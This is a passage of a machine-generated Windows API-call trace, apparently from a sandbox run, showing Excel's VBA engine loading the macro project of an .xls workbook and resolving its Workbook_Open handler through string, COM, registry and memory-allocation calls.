(This=0x7feffc15380, pv=0xb4af9d0) [0089.906] lstrcpyA (in: lpString1=0xe5b7a7c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0089.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe5b7a7c, cbMultiByte=-1, lpWideCharStr=0x230810, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0089.907] CExposedStream::Stat () returned 0x0 [0089.907] CExposedStream::Read () returned 0x0 [0089.907] lstrlenA (lpString="") returned 0 [0089.907] lstrcpyA (in: lpString1=0xe47df50, lpString2="" | out: lpString1="") returned="" [0089.907] lstrlenA (lpString="") returned 0 [0089.907] lstrcpyA (in: lpString1=0xe47df90, lpString2="" | out: lpString1="") returned="" [0089.908] lstrcpynA (in: lpString1=0xe5b8ab0, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0089.908] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0089.908] lstrcpyA (in: lpString1=0xe5b8cf0, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0089.908] lstrcpynA (in: lpString1=0xe5b8d50, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0089.909] lstrlenA (lpString="46, 46, 1460, 694, Z") returned 20 [0089.909] lstrcpyA (in: lpString1=0xe5b8f90, lpString2="46, 46, 1460, 694, Z" | out: lpString1="46, 46, 1460, 694, Z") returned="46, 46, 1460, 694, Z" [0089.909] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0089.909] lstrcpyA (in: lpString1=0xe5b9110, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0089.909] CExposedStream::Stat () returned 0x0 [0089.909] CExposedStream::Read () returned 0x0 [0089.909] CExposedStream::Release () returned 0x0 [0089.910] lstrcpyA (in: lpString1=0xe47df70, lpString2="" | out: lpString1="") returned="" [0089.910] lstrcmpiA (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0089.910] lstrlenA (lpString="ThisWorkbook") returned 12 [0089.910] lstrcpyA (in: lpString1=0xe47dfb0, lpString2="" | out: lpString1="") returned="" [0089.911] lstrcmpiA (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0089.911] lstrlenA (lpString="Sheet1") returned 6 [0089.911] atoi (_Str="393222000") returned 393222000 [0089.911] lstrcpynA (in: lpString1=0xe47cb2c, lpString2="{B7183084-D6F5-47FA-A5BE-AF211172626B}", iMaxLength=39 | out: lpString1="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned="{B7183084-D6F5-47FA-A5BE-AF211172626B}" [0089.911] StringFromGUID2 (in: rguid=0x7fee60778a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x6f251b8, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0089.911] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned -1 [0089.911] lstrlenA (lpString="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned 38 [0089.911] lstrlenA (lpString="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned 38 [0089.912] lstrlenA (lpString="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned 38 [0089.912] CExposedStream::Commit () returned 0x0 [0089.912] CExposedStream::Release () returned 0x0 [0089.912] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0089.913] lstrlenA (lpString="&H00000001") returned 10 [0089.913] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0089.913] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0089.913] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0089.913] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0089.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe5b98e0, cbMultiByte=-1, lpWideCharStr=0x230840, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0089.914] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0xe47df7c | out: pclsid=0xe47df7c*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0089.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe5b9907, cbMultiByte=-1, lpWideCharStr=0x230830, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0089.914] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0089.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0089.915] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0089.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=11, lpWideCharStr=0xb3dd788, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0089.915] lstrlenA (lpString="VBAProject") returned 10 [0089.915] GetCurrentThreadId () returned 0x8fc [0089.915] GetCurrentThreadId () returned 0x8fc [0089.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8c21e0 [0089.915] GetCursorPos (in: lpPoint=0x230a10 | out: lpPoint=0x230a10*(x=555, y=565)) returned 1 [0089.915] GetCapture () returned 0x0 [0089.915] WindowFromPoint (Point=0x2350000022b) returned 0x1023e [0089.915] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0089.916] SendMessageA (hWnd=0x1023e, Msg=0x84, wParam=0x0, lParam=0x235022b) returned 0x1 [0089.916] SendMessageA (hWnd=0x1023e, Msg=0x20, wParam=0x1023e, lParam=0x2000001) returned 0x1 [0093.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Doc061120182038778905.xls", cchWideChar=-1, lpMultiByteStr=0xe5b98e0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 26 [0093.710] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0093.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0093.710] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0093.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=11, lpWideCharStr=0xb3dd788, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0093.710] lstrlenA (lpString="VBAProject") returned 10 [0093.710] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0093.710] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="Doc061120182038778905.xls", _MaxCount=0x28 | out: _Destination="VBAProject (Doc061120182038778905.xls") returned 0x0 [0093.710] lstrcatA (in: lpString1="VBAProject (Doc061120182038778905.xls", lpString2=")" | out: lpString1="VBAProject (Doc061120182038778905.xls)") returned="VBAProject (Doc061120182038778905.xls)" [0093.712] _wfullpath (in: _Buffer=0x233cf0, _Path="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" [0093.712] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", lpString2="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0093.713] lstrcmpiW (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0093.713] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0xb7fd600 [0093.713] IMalloc:Alloc (This=0x7feffc15380, cb=0x7f40) returned 0xbd08f80 [0093.714] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb95a320 [0093.722] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0093.723] lstrlenA (lpString="ThisWorkbook") returned 12 [0093.723] lstrlenA (lpString="ThisWorkbook") returned 12 [0093.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233f80, cbMultiByte=-1, lpWideCharStr=0xe5b7ec0, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0093.723] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0093.723] lstrcmpiW (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0093.724] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0xb7f26b0 [0093.724] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb95a360 [0093.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x233e50, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0093.724] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0093.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x233e40, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0093.725] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0093.725] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbc783b0 [0093.725] qsort (in: _Base=0xbc783b0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c | out: _Base=0xbc783b0) [0093.725] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0093.725] bsearch (_Key=0x232d78, _Base=0xbc783b0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbc783b8 [0093.725] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0093.725] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0093.725] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbc78210 [0093.725] CLSIDFromString (in: lpsz="{00020819-0000-0000-C000-000000000046}", pclsid=0xbc78210 | out: pclsid=0xbc78210*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0093.725] IMalloc:Free (This=0x7feffc15380, pv=0xb49c020) [0093.726] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbcfc5e0 [0093.726] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbcfc7c0 [0093.727] IMalloc:Free (This=0x7feffc15380, pv=0xbc78210) [0093.728] IMalloc:Free (This=0x7feffc15380, pv=0xbcfc5e0) [0093.728] IMalloc:Free (This=0x7feffc15380, pv=0xbcfc7c0) [0093.728] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbcfc7c0 [0093.728] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbcfc5e0 [0093.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x233e50, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0093.863] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0093.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x233e40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0093.863] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0093.863] bsearch (_Key=0x232d78, _Base=0xbc783b0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbc783b0 [0093.863] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 2 [0093.863] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0xbc45ff0 [0093.863] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbd1fbc0 [0093.863] CLSIDFromString (in: lpsz="{00020820-0000-0000-C000-000000000046}", pclsid=0xbd1fbc0 | out: pclsid=0xbd1fbc0*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0093.863] IMalloc:Free (This=0x7feffc15380, pv=0xb49bfc0) [0093.864] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbd2b560 [0093.864] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbd2b650 [0093.865] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fbc0) [0093.865] IMalloc:Free (This=0x7feffc15380, pv=0xbd2b560) [0093.865] IMalloc:Free (This=0x7feffc15380, pv=0xbd2b650) [0093.865] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbd2b650 [0093.865] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xbd2b560 [0093.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x898b\x7a4d\x308a\x20", cchWideChar=-1, lpMultiByteStr=0xe5b9150, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="??? ", lpUsedDefaultChar=0x0) returned 5 [0093.873] lstrlenA (lpString="Sheet1") returned 6 [0093.873] lstrlenA (lpString="Sheet1") returned 6 [0093.873] lstrcatA (in: lpString1="Sheet1", lpString2=" (" | out: lpString1="Sheet1 (") returned="Sheet1 (" [0093.873] strncat_s (in: _Destination="Sheet1 (", _SizeInBytes=0x187, _Source="??? ", _MaxCount=0x28 | out: _Destination="Sheet1 (??? ") returned 0x0 [0093.873] lstrlenA (lpString="??? ") returned 4 [0093.873] lstrcatA (in: lpString1="Sheet1 (??? ", lpString2=")" | out: lpString1="Sheet1 (??? )") returned="Sheet1 (??? )" [0094.413] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb3f6f20 [0094.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x23e410, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0094.413] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0094.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x23e410, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0094.427] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0094.427] IMalloc:Realloc (This=0x7feffc15380, pv=0xb3f6f20, cb=0x62) returned 0xb6f9900 [0094.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x23e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0094.428] _mbscpy_s (in: _Dst=0x23e730, _DstSizeInBytes=0xe, _Src=0x6ca2dde | out: _Dst=0x23e730) returned 0x0 [0094.428] _mbscpy_s (in: _Dst=0x23e739, _DstSizeInBytes=0x5, _Src=0x23e8e0 | out: _Dst=0x23e739) returned 0x0 [0094.428] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0094.432] IUnknown:AddRef (This=0xb825960) returned 0x3 [0094.433] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0x23ec10 | out: phkResult=0x23ec10*=0xf3c) returned 0x0 [0094.433] RegQueryValueExA (in: hKey=0xf3c, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0x23ec08, lpcbData=0x23ec00*=0x4 | out: lpType=0x0, lpData=0x23ec08*=0xb4, lpcbData=0x23ec00*=0x4) returned 0x2 [0094.433] RegCloseKey (hKey=0xf3c) returned 0x0 [0094.435] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x23ec18, pDummy=0x23ec08 | out: ppTLibAttr=0x23ec18, pDummy=0x23ec08*=0xb49e0a8) returned 0x0 [0094.448] StringFromCLSID (in: rclsid=0x4f3abf0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x23ebf8 | out: lplpsz=0x23ebf8*="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0094.448] CoTaskMemFree (pv=0x73cb8d0) [0094.449] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0094.449] IUnknown:QueryInterface (in: This=0xb825960, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ecb8 | out: ppvObject=0x23ecb8*=0x0) returned 0x80004002 [0094.449] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x23eca8, pDummy=0x10 | out: ppTLibAttr=0x23eca8, pDummy=0x10) returned 0x0 [0094.449] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0094.449] IUnknown:Release (This=0xb825960) returned 0x2 [0094.449] IUnknown:AddRef (This=0xb824b50) returned 0xb [0094.449] ITypeLib:RemoteGetLibAttr (in: This=0xb824b50, ppTLibAttr=0x23ec18, pDummy=0xb8cc380 | out: ppTLibAttr=0x23ec18, pDummy=0xb8cc380*=0xe6077268) returned 0x0 [0094.449] StringFromCLSID (in: rclsid=0x4f3abf0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x23ebf8 | out: lplpsz=0x23ebf8*="{00020813-0000-0000-C000-000000000046}") returned 0x0 [0094.449] CoTaskMemFree (pv=0x73cb8d0) [0094.450] ITypeLib:LocalReleaseTLibAttr (This=0xb824b50) returned 0x0 [0094.450] IUnknown:QueryInterface (in: This=0xb824b50, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ecb8 | out: ppvObject=0x23ecb8*=0x0) returned 0x80004002 [0094.450] ITypeLib:RemoteGetLibAttr (in: This=0xb824b50, ppTLibAttr=0x23eca8, pDummy=0x10 | out: ppTLibAttr=0x23eca8, pDummy=0x10) returned 0x0 [0094.450] ITypeLib:LocalReleaseTLibAttr (This=0xb824b50) returned 0x0 [0094.450] IUnknown:Release (This=0xb824b50) returned 0xa [0094.450] IUnknown:AddRef (This=0xb825f00) returned 0x4 [0094.450] ITypeLib:RemoteGetLibAttr (in: This=0xb825f00, ppTLibAttr=0x23ec18, pDummy=0xb8cc380 | out: ppTLibAttr=0x23ec18, pDummy=0xb8cc380*=0xe6077268) returned 0x0 [0094.450] StringFromCLSID (in: rclsid=0x4f3abf0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x23ebf8 | out: lplpsz=0x23ebf8*="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0094.450] CoTaskMemFree (pv=0x73cb8d0) [0094.450] ITypeLib:LocalReleaseTLibAttr (This=0xb825f00) returned 0x0 [0094.450] IUnknown:QueryInterface (in: This=0xb825f00, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ecb8 | out: ppvObject=0x23ecb8*=0x0) returned 0x80004002 [0094.450] ITypeLib:RemoteGetLibAttr (in: This=0xb825f00, ppTLibAttr=0x23eca8, pDummy=0x10 | out: ppTLibAttr=0x23eca8, pDummy=0x10) returned 0x0 [0094.450] ITypeLib:LocalReleaseTLibAttr (This=0xb825f00) returned 0x0 [0094.450] IUnknown:Release (This=0xb825f00) returned 0x3 [0094.450] IUnknown:AddRef (This=0xb8264a0) returned 0x2 [0094.450] ITypeLib:RemoteGetLibAttr (in: This=0xb8264a0, ppTLibAttr=0x23ec18, pDummy=0xb8cc380 | out: ppTLibAttr=0x23ec18, pDummy=0xb8cc380*=0xe6077268) returned 0x0 [0094.450] StringFromCLSID (in: rclsid=0x4f3abf0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lplpsz=0x23ebf8 | out: lplpsz=0x23ebf8*="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0094.450] CoTaskMemFree (pv=0x73cb8d0) [0094.450] ITypeLib:LocalReleaseTLibAttr (This=0xb8264a0) returned 0x0 [0094.450] IUnknown:QueryInterface (in: This=0xb8264a0, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ecb8 | out: ppvObject=0x23ecb8*=0x0) returned 0x80004002 [0094.451] ITypeLib:RemoteGetLibAttr (in: This=0xb8264a0, ppTLibAttr=0x23eca8, pDummy=0x10 | out: ppTLibAttr=0x23eca8, pDummy=0x10) returned 0x0 [0094.451] ITypeLib:LocalReleaseTLibAttr (This=0xb8264a0) returned 0x0 [0094.451] IUnknown:Release (This=0xb8264a0) returned 0x1 [0094.451] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1eac0 [0094.451] IMalloc:Free (This=0x7feffc15380, pv=0xbd1eac0) [0094.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x23e530, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0094.452] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0094.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x23e530, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0094.463] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0x7, _Src=0x6ca2b96 | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0x8, _Src=0x6ca2cba | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0xc, _Src=0x6ca2ce2 | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0xa, _Src=0x6ca2d0e | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0xb, _Src=0x6ca2d3a | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0x7, _Src=0x6ca2d66 | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0x6, _Src=0x6ca2d8e | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0xc, _Src=0x6ca2c16 | out: _Dst=0x23e270) returned 0x0 [0094.465] _mbscpy_s (in: _Dst=0x23e270, _DstSizeInBytes=0x7, _Src=0x6ca2bbe | out: _Dst=0x23e270) returned 0x0 [0094.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015dbeaac3", cchWideChar=11, lpMultiByteStr=0x23e840, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015dbeaac3", lpUsedDefaultChar=0x0) returned 11 [0094.466] GetLocalTime (in: lpSystemTime=0x23e928 | out: lpSystemTime=0x23e928*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0xa, wMinute=0x18, wSecond=0x7, wMilliseconds=0x394)) [0094.466] _ultow_s (in: _Value=0x5dbeaac7, _Buffer=0xba5b4ac, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbeaac7") returned 0x0 [0094.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035dbeaac7", cchWideChar=11, lpMultiByteStr=0x23e880, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035dbeaac7", lpUsedDefaultChar=0x0) returned 11 [0094.466] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xbe2c8e0 [0094.466] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x72ef430 [0094.466] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x72ef2b0 [0094.466] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x4d7d6e0 [0094.466] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x4d7cda0 [0094.467] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.467] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.467] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.467] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.468] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.468] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.468] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.468] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.468] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.468] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.468] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.468] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.468] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.468] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.469] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.469] IMalloc:Free 